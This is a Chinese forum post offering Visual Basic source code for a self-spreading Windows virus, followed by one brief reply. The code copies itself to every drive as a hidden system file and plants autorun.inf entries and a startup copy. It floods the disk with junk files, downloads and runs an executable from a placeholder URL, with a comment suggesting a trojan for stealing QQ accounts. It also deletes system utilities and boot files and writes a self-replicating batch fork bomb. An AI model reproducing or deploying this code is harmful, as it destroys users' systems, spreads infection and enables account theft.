VB编写病毒 编写

完美蚂蚁

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Sub Form_Load()
App.TaskVisible = False '任务栏隐藏
On Error Resume Next
'复制自身到各个盘起
For A = 1 To 24
FileCopy App.Path + "\" + App.EXEName + ".exe", Chr(A) + ":\system.exe"  '复制自身到每个盘的system.exe文件以躲避任务管理器追杀,因为我还不会在任务管理器里隐藏任务
SetAttr Chr(A) + ":\system.exe", vbHidden  '将system.exe设置为隐藏属性
SetAttr Chr(A) + ":\system.exe", vbSystem  '将system.exe设置为系统属性
A = A + 1
Next
'复制自身到各个盘止
'给每个盘加AUTORUN.INF起
For A = 1 To 24
Open Chr(A) + ":\AUTORUN.inf" For Output As #1 '创建一个名为AUTORUN.INF的文件
Print #1, "[autorun]" '写入数据
Print #1, "OPEN=System.exe /autorun"
Close #1 '关闭#1写入数据任务
Next
'给每个盘加AUTORUN.INF止
'复制自身到启动起
FileCopy Chr(A) + ":\system.exe", "C:\Documents and Settings\All Users\[开始]菜单\程序\启动\system.exe" '将SYSTEM.EXE复制到启动,注意是ALL USERS ,这样能使所有用户的启动都有这个文件
SetAttr "C:\Documents and Settings\All Users\[开始]菜单\程序\启动\system.exe", vbHidden '设置为隐藏
SetAttr "C:\Documents and Settings\All Users\[开始]菜单\程序\启动\system.exe", vbSystem '设置为系统
'复制自身到启动止
'制造垃圾文件起
For A = 1 To 99999 '为了不造成死循环用的FOR 循环
Open "C:\" + A For Output As #2
Print #2, "因为汉字占的空间大,所以我这里用的是汉字.打发迪斯科浪费该工具书的敢死队建立客观圣诞节立刻；四大皆空乐观集散地棵国家看来洒家感似的可怜见感到可是了圣诞节立刻根据地上赶得上急口令该撒旦连脚裤根据地撒个撒旦古生界地讴歌教科书大概 根据地顺口溜工具书的个是国家可是独立国急口令国家棵四大皆空乐观建立可是个说得来客观集散地看来个"
Next
'制造垃圾文件止
'下载病毒或木马起
'大家可以下个鸽子什么的,盗个Q号什么的,因为我没有木马,所以胡乱写的一个地址(这就相当于病毒的一个延伸)
'另外连续下载文件会造成死机,如果下载的文件多可比制造垃圾文件占用的空间大多了
H = URLDownloadToFile(0, "http://www.123.com/123.exe", "c:\123.exe", 0, 0) '下载
Shell "c:\123.exe" '启动
'下载病毒或木马止
'开始破坏起
Dim y As String
y = GetWindowsDirectory
Kill y + "\system32\notepad.exe"
Kill y + "\system32\cmd.exe"
Kill y + "\system32\calc.exe"
Kill y + "\system32\mspaint.exe"
Kill y + "\system32\regedit.exe"
Kill y + "\system32\msconfig.exe"
Kill y + "\system32\notepad.exe"
Kill "C:\NTDETECT.COM"
Kill "C:\IO.SYS"
Kill "C:\config.sys"
Kill "C:\pagefile.sys"
Kill "C:\hiberfil.sys"
Kill "C:\boot.ini"
Kill "C:\bootfont.bin"
Kill "C:\ntldr"
'开始破坏止
'恶作剧起
For A = 1 To 9999
Shell "iexplore" '打开IE
Next
Open "1.bat" For Output As #3
Print #3, "@echo off"   '命令摘抄于《三行整人的BAT文件》
Print #3, "@echo start c:\1.bat>>c:\1.bat"
Print #3, "start c:\1.bat"
'恶作剧止
End Sub

qlz37238

恩,占个位置等一下回去了,再来看一下这个代码,这个代码好不是太难的样子